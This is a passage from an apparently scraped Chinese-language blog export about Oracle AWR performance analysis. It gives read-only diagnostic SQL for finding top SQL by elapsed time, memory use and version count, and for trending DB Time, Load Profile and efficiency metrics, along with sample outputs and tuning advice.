\u0026#39;\u0026amp;target_sql_id\u0026#39; -- 輸入你想追蹤的 SQL_ID ORDER BY s.snap_id; 執行結果範例\n1 2 3 4 SNAP_ID|BEGIN_INTERVAL_TIME |SQL_ID |PLAN_HASH_VALUE|EXECS|ELAPSED_SEC|GETS_PER_EXEC|READS_PER_EXEC|CPU_PER_EXEC| -------+-----------------------+-------------+---------------+-----+-----------+-------------+--------------+------------+ 1688|2026-01-23 15:10:24.872|1m0ycv6wsty7n| 2935435819| 1| 2.31| 23277| 48| 2.24| 1688|2026-01-23 15:10:24.872|1m0ycv6wsty7n| 540301959| 1| 59.67| 6681350| 663| 58.55| 解決 SQL 議題方向 # 議題分類 議題項目 核心問題點 解決與優化方向 1. 時間與負載議題 (Time-Based) Elapsed Time 總執行時間最長，是 DB Time 的主要貢獻者。 區分是 CPU 密集還是等待密集。若 CPU 低而 Elapsed 高，應優先拆解 Wait Class（如 I/O 或 Lock）。 CPU Time 消耗過多運算資源。 1. 減少 Logical Reads (Gets)，因為 CPU 主要花在處理資料塊。 2. 檢查是否有複雜的運算、格式轉換或低效的 PL/SQL 函數。 User I/O Wait SQL 花費大量時間等待從磁碟讀取資料。 1. 索引優化：減少 Full Table Scan。 2. 緩存優化：評估 Buffer Cache 是否不足。 3. 儲存效能：檢查實體磁碟回應速度。 2. 資源消耗議題 (Resource-Based) Gets (Logical Reads) 邏輯讀取數過高，是系統 CPU 壓力的源頭。 SQL 效率檢核：檢查每個事務（Transaction）讀取的資料塊是否穩定。若 Logical Reads/Tx 飆升，通常是執行計畫走鐘（如索引失效）。 Reads (Physical Reads) 實體磁碟讀取，效能代價極高。 1. 提升 Buffer Hit %。 2. 考慮使用 Oracle In-Memory 或是將熱點表置入 Keep Pool。 Physical Reads (UnOptimized) 未經優化（如繞過快取）的直接讀取。 1. 檢查是否發生大量的 Direct Path Reads（如大型排序或平行查詢）。 2. 評估是否需要增加實體記憶體以減少 Disk Spill。 3. 應用程式與解析議題 (App \u0026amp; Parsing) Executions 執行頻率極高。 1. 檢查應用程式是否有無效的 Loop 呼叫。 2. 評估是否能合併請求或是使用 Result Cache 緩存結果。 Parse Calls 解析次數過高，消耗大量 CPU。 1. 確保 Soft Parse % 接近 100%。 2. 若 Execute to Parse % 過低，代表程式未保持 Cursor 開放，應優化連線池與語句緩存。 Sharable Memory 單一 SQL 在 Shared Pool 佔用過多空間。 1. 避免在 SQL 中寫入超長列表（如 IN (1, 2, \u0026hellip;, 1000)）。 2. 監控 Shared Pool 使用率，防止碎片化導致 ORA-04031。 Version Count 同一 SQL 產生過多子游標 (Child Cursors)。 1. 檢查是否因 Bind Mismatch 或環境參數差異引起。 2. 監控 Adaptive Cursor Sharing (ACS) 的行為。 找原因工具 # Shared Pool 中「總記憶體佔用前十名」且「未綁定變數」清單 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 SELECT * FROM ( SELECT force_matching_signature, -- 1. 計算這個邏輯結構產生了多少個不同的 SQL_ID (變體數量) COUNT(DISTINCT sql_id) as \u0026#34;Distinct_SQL_IDs\u0026#34;, -- 2. 累計這些變體總共佔用的記憶體 (MB) ROUND(SUM(sharable_mem) / 1024 / 1024, 2) as \u0026#34;Total_Mem_MB\u0026#34;, -- 3. 累計總執行次數 SUM(executions) as \u0026#34;Total_Executions\u0026#34;, -- 4. 取出其中一個 SQL 作為範例，觀察其字面值 (Literal) MAX(SUBSTR(sql_text, 1, 200)) as \u0026#34;Sample_SQL_Text\u0026#34; FROM v$sql -- 過濾掉無法計算簽名的 SQL (如部分內部指令) WHERE force_matching_signature \u0026lt;\u0026gt; 0 GROUP BY force_matching_signature -- 過濾條件：至少有 5 個以上的變體才視為「未綁定變數」的候選人 HAVING COUNT(DISTINCT sql_id) \u0026gt; 5 -- 依據總佔用記憶體排序 ORDER BY \u0026#34;Total_Mem_MB\u0026#34; DESC ) WHERE ROWNUM \u0026lt;= 10 為什麼 SQL 會佔用過多記憶體？ # 當發現單一 SQL 的 Sharable_Mem 超過 100MB 或 Version Count 異常高時，通常有以下原因：\n超大型 IN 清單： 例如 WHERE id IN (1, 2, ..., 5000)。Oracle 必須解析並儲存這 5000 個值，這會讓 SQL 文本與解析樹變得極大，直接灌爆 Sharable_Mem。 解決方向：改用暫存表 (Global Temporary Table) 進行關聯，或將清單拆小。 高版本數量 (High Version Count)： 雖然單一子游標（Child Cursor）可能不大，但如果同一個 SQL_ID 因為環境不同、綁定變數長度不一而產生了數百個版本，總體記憶體就會累積得很恐怖。 解決方向：檢查 V$SQL_SHARED_CURSOR 來找出為什麼無法共享游標的原因（例如 BIND_MISMATCH）。 大數據量的 PL/SQL 內嵌 SQL： 如果在 PL/SQL 中動態拼湊極長的 SQL 語句，也會導致記憶體過度消耗。 單一 SQL 語句在 Shared Pool 中佔用了多少記憶體 # 即時查詢：目前在庫（Library Cache）中的 SQL 記憶體 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 SELECT sql_id, child_number, plan_hash_value, -- 核心指標：Sharable Memory (轉換為 MB) ROUND(sharable_mem / 1024 / 1024, 2) as \u0026#34;Sharable_Mem (MB)\u0026#34;, -- 額外參考：持續性記憶體與執行時記憶體 ROUND(persistent_mem / 1024 / 1024, 2) as \u0026#34;Persistent_Mem (MB)\u0026#34;, ROUND(runtime_mem / 1024 / 1024, 2) as \u0026#34;Runtime_Mem (MB)\u0026#34;, users_opening, executions, substr(sql_text, 1, 100) as sql_snippet FROM v$sql WHERE sql_id = \u0026#39;\u0026amp;target_sql_id\u0026#39; -- 輸入你想查詢的 SQL_ID ORDER BY child_number Sharable_Mem: 這是最主要的指標，代表該 SQL 及其執行計畫在 Shared Pool 中共享的大小。 Persistent_Mem: 存放在執行期間固定不動的資訊（如綁定變數資訊）。 Runtime_Mem: 執行該 SQL 時暫時需要的空間（如堆疊空間）。 歷史回溯：從 AWR 查詢過去的記憶體佔用趨勢 # 1 2 3 4 5 6 7 8 9 10 11 12 SELECT s.snap_id, sn.begin_interval_time, s.sql_id, -- 取得該快照點時的最大共享記憶體 ROUND(s.sharable_mem / 1024 / 1024, 2) as \u0026#34;Max_Sharable_Mem (MB)\u0026#34;, s.version_count as \u0026#34;Versions\u0026#34;, s.executions_delta as \u0026#34;Execs_Delta\u0026#34; FROM dba_hist_sqlstat s JOIN dba_hist_snapshot sn ON s.snap_id = sn.snap_id AND s.dbid = sn.dbid AND s.instance_number = sn.instance_number WHERE s.sql_id = \u0026#39;\u0026amp;target_sql_id\u0026#39; ORDER BY s.snap_id DESC; ","date":"January 15, 2026","externalUrl":null,"permalink":"/oracle-database/oracle-awr-top-sql/","section":"Oracle-Databases","summary":"以下我針對 AWR 中的 TOP SQL 進行研究\nSQL ordered by Elapsed Time SQL ordered by CPU Time SQL ordered by User I/O Wait Time SQL ordered by Gets SQL ordered by Reads SQL ordered by Physical Reads (UnOptimized) SQL ordered by Executions SQL ordered by Parse Calls SQL ordered by Sharable Memory SQL ordered by Version Count 尋找方式 # 1. SQL ordered by TOP Event # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 WITH sql_metrics AS ( -- 1. 從歷史視圖中加總各項增量指標 SELECT s.sql_id, SUM(s.elapsed_time_delta) / 1000000 as total_elapsed_sec, SUM(s.cpu_time_delta) / 1000000 as total_cpu_sec, SUM(s.iowait_delta) / 1000000 as total_io_wait_sec, SUM(s.buffer_gets_delta) as total_gets, SUM(s.disk_reads_delta) as total_reads, -- Physical Reads (UnOptimized) 通常是指排除掉從 Flash Cache 讀取的真正磁碟讀取 SUM(s.physical_read_requests_delta) as total_phys_read_req, SUM(s.executions_delta) as total_execs, SUM(s.parse_calls_delta) as total_parse_calls, -- 這些是目前快照點的狀態值，取最大值作為參考 MAX(s.sharable_mem) / 1024 / 1024 as max_sharable_mem_mb, MAX(s.version_count) as max_version_count FROM dba_hist_sqlstat s JOIN dba_hist_snapshot sn ON s.snap_id = sn.snap_id AND s.dbid = sn.dbid AND s.instance_number = sn.instance_number WHERE sn.begin_interval_time \u003e= SYSDATE - 1 GROUP BY s.sql_id ), ranked_sql AS ( -- 2. 針對各個維度進行排名 SELECT m.*, RANK() OVER (ORDER BY total_elapsed_sec DESC) as rank_elapsed, RANK() OVER (ORDER BY total_cpu_sec DESC) as rank_cpu, RANK() OVER (ORDER BY total_io_wait_sec DESC) as rank_io, RANK() OVER (ORDER BY total_gets DESC) as rank_gets, RANK() OVER (ORDER BY total_reads DESC) as rank_reads, RANK() OVER (ORDER BY total_phys_read_req DESC) as rank_unoptimized, RANK() OVER (ORDER BY total_execs DESC) as rank_execs, RANK() OVER (ORDER BY total_parse_calls DESC) as rank_parse, RANK() OVER (ORDER BY max_sharable_mem_mb DESC) as rank_mem, RANK() OVER (ORDER BY max_version_count DESC) as rank_version FROM sql_metrics m ) -- 3. 結合 SQL 文字並輸出 (此處以 Elapsed Time 前 20 名為例) SELECT * FROM ( SELECT r.sql_id, r.total_elapsed_sec as \"Elapsed(s)\", r.total_cpu_sec as \"CPU(s)\", r.total_io_wait_sec as \"IO_Wait(s)\", r.total_gets as \"Gets\", r.total_reads as \"Reads\", r.total_execs as \"Execs\", r.total_parse_calls as \"Parses\", ROUND(r.max_sharable_mem_mb, 2) as \"Mem(MB)\", r.max_version_count as \"Versions\", -- 顯示前 100 個字元的 SQL 文字 DBMS_LOB.SUBSTR(st.sql_text, 100, 1) as sql_snippet FROM ranked_sql r LEFT JOIN dba_hist_sqltext st ON r.sql_id = st.sql_id -- 你可以更換下方的排序條件來查看不同的 TOP 榜單 ORDER BY r.rank_elapsed ASC ) WHERE ROWNUM \u003c= 20 執行結果範例\n","title":"oracle AWR TOP SQL","type":"oracle-database"},{"content":"最近常常接觸 AWR 報表分析，想說AWR已經有儲存資料庫運作歷史資訊，為何不依據裡頭的紀錄資訊進行效能分析呢？因此開始著手研究如何將AWR的資料呈現出趨勢資料～\n觀察重點 # 當 % Non-Parse CPU 低於 80% 時，代表資料庫忙於解析而非執行，這時增加 CPU 核心也無法根本解決問題。 觀察 Per Transaction 的指標是否惡化。如果 Logical Reads/Tx 維持穩定，系統慢通常是併發或硬體問題；如果該值上升，則是 SQL 或索引問題。 監控 Shared Pool Statistics 趨勢時，應特別留意 % Mem for SQL w/exec \u0026gt; 1 這個指標。如果該值變低，且 Sharable Memory 排名的 TOP SQL 佔比很高，就代表 Shared Pool 正在被少數幾句低效的 SQL 吞噬，這極易引發 ORA-04031 錯誤。 趨勢資料分析 # 指標分析項目\nsummary\nElapsed DBTime 負載強度 (Load Profile)\nLoad Profile - DB Time(s) Load Profile - DB CPU(s) Load Profile - Redo size (bytes) Load Profile - Logical read (blocks) Load Profile - Block changes Load Profile - Physical read (blocks) Load Profile - Physical write (blocks) Load Profile - Read IO requests Load Profile - Write IO requests Load Profile - Read IO (MB) Load Profile - Write IO (MB) Load Profile - Logons Load Profile - User logons Load Profile - Executes Load Profile - Rollbacks 執行效率 (Efficiency)\nEfficiency - Buffer Nowait % Efficiency - Buffer Hit % Efficiency - Library Hit % Efficiency - Execute to Parse % Efficiency - Parse CPU to Parse Elapsd % Efficiency - Flash Cache Hit % Efficiency - Redo NoWait % Efficiency - In-memory Sort % Efficiency - Soft Parse % Efficiency - Latch Hit % Efficiency - % Non-Parse CPU 記憶體配置 (Memory \u0026amp; Cache)\nMemory Statistics - Host Mem (MB) Memory Statistics - SGA use (MB) Memory Statistics - PGA use (MB) Cache Sizes - Buffer Cache Cache Sizes - Shared Pool Size Cache Sizes - In-Memory Area Cache Sizes - Std Block Size Cache Sizes - Log Buffer 解析質量 (Shared Pool Stats)\nShared Pool Statistics - Memory Usage % Shared Pool Statistics - % SQL with executions\u0026gt;1 Shared Pool Statistics - % Memory for SQL w/exec\u0026gt;1 瓶頸拆解 (Wait Class % DB Time)\n% DB time - User I/O % DB time - System I/O % DB time - Network % DB time - Other % DB time - Commit % DB time - Concurrency DBTime # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 WITH snap_range AS ( -- 1. 定義時間範圍與基礎快照資訊 SELECT snap_id, dbid, instance_number, begin_interval_time, end_interval_time, -- 計算快照區間的總秒數，方便後續計算 (CAST(end_interval_time AS DATE) - CAST(begin_interval_time AS DATE)) * 86400 as interval_seconds FROM dba_hist_snapshot WHERE instance_number = 1 AND end_interval_time \u0026gt;= SYSDATE - 1 AND begin_interval_time \u0026lt;= SYSDATE ), DB AS (SELECT DBID FROM V$DATABASE), raw_time_model AS ( -- 2. 取得 DB Time 的原始累計值 SELECT snap_id, dbid, instance_number, value FROM dba_hist_sys_time_model WHERE stat_name = \u0026#39;DB time\u0026#39; ), LICENSE AS ( select inst_id,CPU_CORE_COUNT_CURRENT from gV$LICENSE ) SELECT * from( SELECT DB.DBID, sr.snap_id, sr.instance_number, sr.begin_interval_time, sr.end_interval_time, -- 3. 計算兩次快照間的增量 (Delta)，轉換為秒數 ROUND((rt.value - LAG(rt.value) OVER (ORDER BY sr.snap_id)) / 1000000, 2) AS db_time_seconds, -- 4. 使用 CTE 預算的 interval_seconds 轉換成分鐘 ROUND(sr.interval_seconds / 60, 2) AS interval_minutes, -- 5. 額外提供 AAS (Average Active Sessions) 指標，這是衡量負載最直觀的方式 ROUND(((rt.value - LAG(rt.value) OVER (ORDER BY sr.snap_id)) / 1000000) / NULLIF(sr.interval_seconds, 0), 2) AS aas FROM snap_range sr JOIN DB on 1=1 JOIN raw_time_model rt ON sr.snap_id = rt.snap_id AND sr.dbid = rt.dbid AND sr.instance_number = rt.instance_number ORDER BY sr.snap_id ) T WHERE t.db_time_seconds \u0026gt;=0 執行結果範例\n1 2 3 4 5 DBID |SNAP_ID|INSTANCE_NUMBER|BEGIN_INTERVAL_TIME |END_INTERVAL_TIME |DB_TIME_SECONDS|INTERVAL_MINUTES|AAS | ----------+-------+---------------+-----------------------+-----------------------+---------------+----------------+----+ 000000000| 1583| 1|2026-01-22 21:40:52.537|2026-01-22 21:50:52.851| 0| 10| 0| 000000000| 1584| 1|2026-01-22 21:50:52.851|2026-01-22 22:00:53.187| 0| 10.02| 0| 000000000| 1585| 1|2026-01-22 22:00:53.187|2026-01-22 22:10:53.517| 0| 10| 0| Load Profile 趨勢分析 - 增量（Delta） # 這段 SQL 會精準計算出每個 Snapshot 區間內的增量（Delta）\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 WITH snap_range AS ( SELECT snap_id, dbid, instance_number, begin_interval_time, end_interval_time, (CAST(end_interval_time AS DATE) - CAST(begin_interval_time AS DATE)) * 86400 as interval_seconds FROM dba_hist_snapshot WHERE instance_number = 1 AND end_interval_time \u0026gt;= SYSDATE - 1 AND begin_interval_time \u0026lt;= SYSDATE ), DB AS (SELECT DBID FROM V$DATABASE), raw_stats AS ( -- 取得 System Statistics (SYSSTAT) 的累計值 SELECT snap_id, MAX(DECODE(stat_name, \u0026#39;redo size\u0026#39;, value)) as redo_size, MAX(DECODE(stat_name, \u0026#39;session logical reads\u0026#39;, value)) as logical_reads, MAX(DECODE(stat_name, \u0026#39;db block changes\u0026#39;, value)) as block_changes, MAX(DECODE(stat_name, \u0026#39;physical reads\u0026#39;, value)) as phys_reads, MAX(DECODE(stat_name, \u0026#39;physical writes\u0026#39;, value)) as phys_writes, MAX(DECODE(stat_name, \u0026#39;physical read IO requests\u0026#39;, value)) as read_io_req, MAX(DECODE(stat_name, \u0026#39;physical write IO requests\u0026#39;, value)) as write_io_req, MAX(DECODE(stat_name, \u0026#39;physical read total bytes\u0026#39;, value)) as read_io_bytes, MAX(DECODE(stat_name, \u0026#39;physical write total bytes\u0026#39;, value)) as write_io_bytes, MAX(DECODE(stat_name, \u0026#39;logons cumulative\u0026#39;, value)) as logons, MAX(DECODE(stat_name, \u0026#39;user logons cumulative\u0026#39;, value)) as user_logons, MAX(DECODE(stat_name, \u0026#39;execute count\u0026#39;, value)) as executes, MAX(DECODE(stat_name, \u0026#39;user rollbacks\u0026#39;, value)) as rollbacks FROM dba_hist_sysstat WHERE stat_name IN (\u0026#39;redo size\u0026#39;, \u0026#39;session logical reads\u0026#39;, \u0026#39;db block changes\u0026#39;, \u0026#39;physical reads\u0026#39;, \u0026#39;physical writes\u0026#39;, \u0026#39;physical read IO requests\u0026#39;, \u0026#39;physical write IO requests\u0026#39;, \u0026#39;physical read total bytes\u0026#39;, \u0026#39;physical write total bytes\u0026#39;, \u0026#39;logons cumulative\u0026#39;, \u0026#39;user logons cumulative\u0026#39;, \u0026#39;execute count\u0026#39;, \u0026#39;user rollbacks\u0026#39;) GROUP BY snap_id ), raw_time_model AS ( SELECT snap_id, MAX(DECODE(stat_name, \u0026#39;DB time\u0026#39;, value)) as db_time, MAX(DECODE(stat_name, \u0026#39;DB CPU\u0026#39;, value)) as db_cpu FROM dba_hist_sys_time_model WHERE stat_name IN (\u0026#39;DB time\u0026#39;, \u0026#39;DB CPU\u0026#39;) GROUP BY snap_id ) SELECT * FROM ( SELECT DB.DBID, s.snap_id, s.instance_number, s.begin_interval_time, s.end_interval_time, ROUND((tm.db_time - LAG(tm.db_time) OVER (ORDER BY s.snap_id)) / 1000000, 2) as \u0026#34;DB Time (s)\u0026#34;, ROUND((tm.db_cpu - LAG(tm.db_cpu) OVER (ORDER BY s.snap_id)) / 1000000, 2) as \u0026#34;DB CPU (s)\u0026#34;, (rs.redo_size - LAG(rs.redo_size) OVER (ORDER BY s.snap_id)) as \u0026#34;Redo Size (bytes)\u0026#34;, (rs.logical_reads - LAG(rs.logical_reads) OVER (ORDER BY s.snap_id)) as \u0026#34;Logical Reads (blocks)\u0026#34;, (rs.block_changes - LAG(rs.block_changes) OVER (ORDER BY s.snap_id)) as \u0026#34;Block Changes\u0026#34;, (rs.phys_reads - LAG(rs.phys_reads) OVER (ORDER BY s.snap_id)) as \u0026#34;Phys Reads (blocks)\u0026#34;, (rs.phys_writes - LAG(rs.phys_writes) OVER (ORDER BY s.snap_id)) as \u0026#34;Phys Writes (blocks)\u0026#34;, (rs.read_io_req - LAG(rs.read_io_req) OVER (ORDER BY s.snap_id)) as \u0026#34;Read IO Req\u0026#34;, (rs.write_io_req - LAG(rs.write_io_req) OVER (ORDER BY s.snap_id)) as \u0026#34;Write IO Req\u0026#34;, ROUND((rs.read_io_bytes - LAG(rs.read_io_bytes) OVER (ORDER BY s.snap_id)) / 1024 / 1024, 2) as \u0026#34;Read IO (MB)\u0026#34;, ROUND((rs.write_io_bytes - LAG(rs.write_io_bytes) OVER (ORDER BY s.snap_id)) / 1024 / 1024, 2) as \u0026#34;Write IO (MB)\u0026#34;, (rs.logons - LAG(rs.logons) OVER (ORDER BY s.snap_id)) as \u0026#34;Logons\u0026#34;, (rs.user_logons - LAG(rs.user_logons) OVER (ORDER BY s.snap_id)) as \u0026#34;User Logons\u0026#34;, (rs.executes - LAG(rs.executes) OVER (ORDER BY s.snap_id)) as \u0026#34;Executes\u0026#34;, (rs.rollbacks - LAG(rs.rollbacks) OVER (ORDER BY s.snap_id)) as \u0026#34;Rollbacks\u0026#34; FROM snap_range s JOIN DB on 1=1 JOIN raw_stats rs ON s.snap_id = rs.snap_id JOIN raw_time_model tm ON s.snap_id = tm.snap_id ORDER BY s.snap_id ) T WHERE t.\u0026#34;DB Time (s)\u0026#34; \u0026gt;=0 執行結果範例\n1 2 3 4 5 DBID |SNAP_ID|INSTANCE_NUMBER|BEGIN_INTERVAL_TIME |END_INTERVAL_TIME |DB Time (s)|DB CPU (s)|Redo Size (bytes)|Logical Reads (blocks)|Block Changes|Phys Reads (blocks)|Phys Writes (blocks)|Read IO Req|Write IO Req|Read IO (MB)|Write IO (MB)|Logons|User Logons|Executes|Rollbacks| ----------+-------+---------------+-----------------------+-----------------------+-----------+----------+-----------------+----------------------+-------------+-------------------+--------------------+-----------+------------+------------+-------------+------+-----------+--------+---------+ 000000000| 1583| 1|2026-01-22 21:40:52.537|2026-01-22 21:50:52.851| 0| 0| 2761472| 15282| 8634| 0| 671| 0| 392| 21.24| 15.44| 4| 0| 799| 0| 000000000| 1584| 1|2026-01-22 21:50:52.851|2026-01-22 22:00:53.187| 0| 0| 2769036| 15753| 8750| 0| 675| 0| 379| 30.97| 22.36| 6| 0| 841| 0| 000000000| 1585| 1|2026-01-22 22:00:53.187|2026-01-22 22:10:53.517| 0| 0| 2773864| 19615| 8748| 0| 766| 0| 416| 21.48| 16.27| 3| 0| 718| 0| 指標分析說明 # | DB Time vs DB CPU | 如果 DB Time 遠高於 DB CPU，代表資料庫大部分時間在「等待」（如 I/O, Lock），而非在「運算」。 | | Redo Size | 反映資料庫的 DML 密集度。如果數值激增，可能是有大型 Batch Job 或索引維護。 | | Logical vs Physical Reads | 物理讀取（Physical Reads）過高代表快取命中率（Buffer Cache Hit Ratio）不足，通常與全表掃描（Full Table Scan）有關。 | | Executes \u0026amp; Logons | Logons 很高但 User Logons 不高，可能是中間層連線池（Connection Pool）配置不當，導致頻繁重連。 | | Rollbacks | 正常的系統 Rollback 應該極低。若數值偏高，需檢查應用程式邏輯是否有大量異常導致的事務回滾。 |\nLoad Profile 趨勢分析 - Per Second (每秒平均) 或 Per Transaction (每個事務平均) # 核心計算公式\nPer Second: Value / Interval Duration (seconds) Transactions (事務數): 在 Oracle AWR 中，事務數定義為 User Commits + User Rollbacks。 Per Transaction: Value / (Delta User Commits + Delta User Rollbacks) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 WITH snap_range AS ( SELECT snap_id, dbid, instance_number, begin_interval_time, end_interval_time, -- 計算快照區間的總秒數 (CAST(end_interval_time AS DATE) - CAST(begin_interval_time AS DATE)) * 86400 as interval_seconds FROM dba_hist_snapshot WHERE instance_number = 1 AND end_interval_time \u0026gt;= SYSDATE - 1 AND begin_interval_time \u0026lt;= SYSDATE ), DB AS (SELECT DBID FROM V$DATABASE), raw_stats AS ( SELECT snap_id, MAX(DECODE(stat_name, \u0026#39;redo size\u0026#39;, value)) as redo_size, MAX(DECODE(stat_name, \u0026#39;session logical reads\u0026#39;, value)) as logical_reads, MAX(DECODE(stat_name, \u0026#39;physical reads\u0026#39;, value)) as phys_reads, MAX(DECODE(stat_name, \u0026#39;physical read total bytes\u0026#39;, value)) as read_io_bytes, MAX(DECODE(stat_name, \u0026#39;execute count\u0026#39;, value)) as executes, MAX(DECODE(stat_name, \u0026#39;user commits\u0026#39;, value)) as commits, MAX(DECODE(stat_name, \u0026#39;user rollbacks\u0026#39;, value)) as rollbacks FROM dba_hist_sysstat WHERE stat_name IN (\u0026#39;redo size\u0026#39;, \u0026#39;session logical reads\u0026#39;, \u0026#39;physical reads\u0026#39;, \u0026#39;physical read total bytes\u0026#39;, \u0026#39;execute count\u0026#39;, \u0026#39;user commits\u0026#39;, \u0026#39;user rollbacks\u0026#39;) GROUP BY snap_id ), deltas AS ( -- 先計算出每個指標的增量 (Delta) SELECT DB.DBID, s.snap_id, s.instance_number, s.begin_interval_time, s.end_interval_time, s.interval_seconds, (rs.redo_size - LAG(rs.redo_size) OVER (ORDER BY s.snap_id)) as d_redo, (rs.logical_reads - LAG(rs.logical_reads) OVER (ORDER BY s.snap_id)) as d_lread, (rs.phys_reads - LAG(rs.phys_reads) OVER (ORDER BY s.snap_id)) as d_pread, (rs.read_io_bytes - LAG(rs.read_io_bytes) OVER (ORDER BY s.snap_id)) as d_read_bytes, (rs.executes - LAG(rs.executes) OVER (ORDER BY s.snap_id)) as d_exec, -- 事務數計算：Commits + Rollbacks ( (rs.commits - LAG(rs.commits) OVER (ORDER BY s.snap_id)) + (rs.rollbacks - LAG(rs.rollbacks) OVER (ORDER BY s.snap_id)) ) as d_tx FROM snap_range s JOIN DB on 1=1 JOIN raw_stats rs ON s.snap_id = rs.snap_id ) -- 最終輸出：標準化指標 SELECT DBID,snap_id,instance_number,begin_interval_time,end_interval_time, -- Per Second (每秒) ROUND(d_redo / NULLIF(interval_seconds, 0), 2) as \u0026#34;Redo/s (bytes)\u0026#34;, ROUND(d_lread / NULLIF(interval_seconds, 0), 2) as \u0026#34;Logical Reads/s\u0026#34;, ROUND(d_pread / NULLIF(interval_seconds, 0), 2) as \u0026#34;Phys Reads/s\u0026#34;, ROUND(d_exec / NULLIF(interval_seconds, 0), 2) as \u0026#34;Executes/s\u0026#34;, ROUND(d_tx / NULLIF(interval_seconds, 0), 2) as \u0026#34;Transactions/s\u0026#34;, -- Per Transaction (每個事務) ROUND(d_redo / NULLIF(d_tx, 0), 2) as \u0026#34;Redo/Tx (bytes)\u0026#34;, ROUND(d_lread / NULLIF(d_tx, 0), 2) as \u0026#34;Logical Reads/Tx\u0026#34;, ROUND(d_pread / NULLIF(d_tx, 0), 2) as \u0026#34;Phys Reads/Tx\u0026#34;, ROUND((d_read_bytes/1024) / NULLIF(d_tx, 0), 2) as \u0026#34;Read KB/Tx\u0026#34; FROM deltas WHERE d_tx \u0026gt;= 0 -- 過濾掉重啟後的負值 ORDER BY snap_id 執行結果範例\n1 2 3 4 5 DBID |SNAP_ID|INSTANCE_NUMBER|BEGIN_INTERVAL_TIME |END_INTERVAL_TIME |Redo/s (bytes)|Logical Reads/s|Phys Reads/s|Executes/s|Transactions/s|Redo/Tx (bytes)|Logical Reads/Tx|Phys Reads/Tx|Read KB/Tx| ----------+-------+---------------+-----------------------+-----------------------+--------------+---------------+------------+----------+--------------+---------------+----------------+-------------+----------+ 000000000| 1583| 1|2026-01-22 21:40:52.537|2026-01-22 21:50:52.851| 4602.45| 25.47| 0| 1.33| 0.03| 184098.13| 1018.8| 0| 1450.13| 000000000| 1584| 1|2026-01-22 21:50:52.851|2026-01-22 22:00:53.187| 4607.38| 26.21| 0| 1.4| 0.02| 184602.4| 1050.2| 0| 2113.97| 000000000| 1585| 1|2026-01-22 22:00:53.187|2026-01-22 22:10:53.517| 4623.11| 32.69| 0| 1.2| 0.03| 184924.27| 1307.67| 0| 1466.13| 指標分析說明 - 如何解讀這些標準化數據？ # 當您將數據轉換為這兩種維度後，分析的角度會變得完全不同：\n1. Per Second (每秒平均) — 觀察「負載強度」 # 用途: 用來判斷系統的吞吐量上限。 案例: 如果 Transactions/s 在某個時段維持在高點，但 Executes/s 突然飆升，這通常代表有大量的短小 SQL 在重複執行，可能是程式迴圈寫得不好。 硬體關聯: Redo/s 直接關聯到 Log Writer (LGWR) 的壓力與磁碟寫入頻寬。 2. Per Transaction (每個事務) — 觀察「工作效率」 # 用途: 用來判斷應用程式行為是否改變。 大師心法: 這是我最喜歡的指標。在正常的系統中，每個事務消耗的資源應該是穩定的。 異常檢測: 如果 Logical Reads/Tx 從 1,000 變成 50,000，即便 Transactions/s 沒變，資料庫也會變慢。這代表索引失效或執行計畫改變，導致每個交易都要讀取更多資料塊。 如果 Redo/Tx 突然變大，代表單個交易處理的資料量變多了（例如從更新 1 筆變成更新 100 筆）。 Efficiency Percentages 趨勢分析 # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 WITH snap_range AS ( SELECT snap_id, dbid, instance_number, begin_interval_time, end_interval_time FROM dba_hist_snapshot WHERE instance_number = 1 AND end_interval_time \u0026gt;= SYSDATE - 1 AND begin_interval_time \u0026lt;= SYSDATE ), DB AS (SELECT DBID FROM V$DATABASE), raw_stats AS ( SELECT snap_id, -- Buffer Hit 相關 MAX(DECODE(stat_name, \u0026#39;session logical reads\u0026#39;, value)) as log_rd, MAX(DECODE(stat_name, \u0026#39;physical reads\u0026#39;, value)) as phy_rd, MAX(DECODE(stat_name, \u0026#39;physical reads direct\u0026#39;, value)) as phy_rd_dir, MAX(DECODE(stat_name, \u0026#39;physical reads cache\u0026#39;, value)) as phy_rd_ch, -- Parse 相關 MAX(DECODE(stat_name, \u0026#39;parse count (total)\u0026#39;, value)) as prs_tot, MAX(DECODE(stat_name, \u0026#39;parse count (hard)\u0026#39;, value)) as prs_hard, MAX(DECODE(stat_name, \u0026#39;execute count\u0026#39;, value)) as exec_cnt, -- Redo / Buffer / Latch Nowait MAX(DECODE(stat_name, \u0026#39;redo log space requests\u0026#39;, value)) as redo_spc_req, MAX(DECODE(stat_name, \u0026#39;buffer is not pinned count\u0026#39;, value)) as buf_not_pin, -- 簡化計算用 MAX(DECODE(stat_name, \u0026#39;latch free\u0026#39;, value)) as latch_wait, -- Sort MAX(DECODE(stat_name, \u0026#39;sorts (memory)\u0026#39;, value)) as sort_mem, MAX(DECODE(stat_name, \u0026#39;sorts (disk)\u0026#39;, value)) as sort_disk FROM dba_hist_sysstat GROUP BY snap_id ), raw_time AS ( SELECT snap_id, MAX(DECODE(stat_name, \u0026#39;DB CPU\u0026#39;, value)) as db_cpu, MAX(DECODE(stat_name, \u0026#39;parse time elapsed\u0026#39;, value)) as prs_elap, MAX(DECODE(stat_name, \u0026#39;parse time cpu\u0026#39;, value)) as prs_cpu FROM dba_hist_sys_time_model GROUP BY snap_id ), deltas AS ( -- 計算各項指標增量 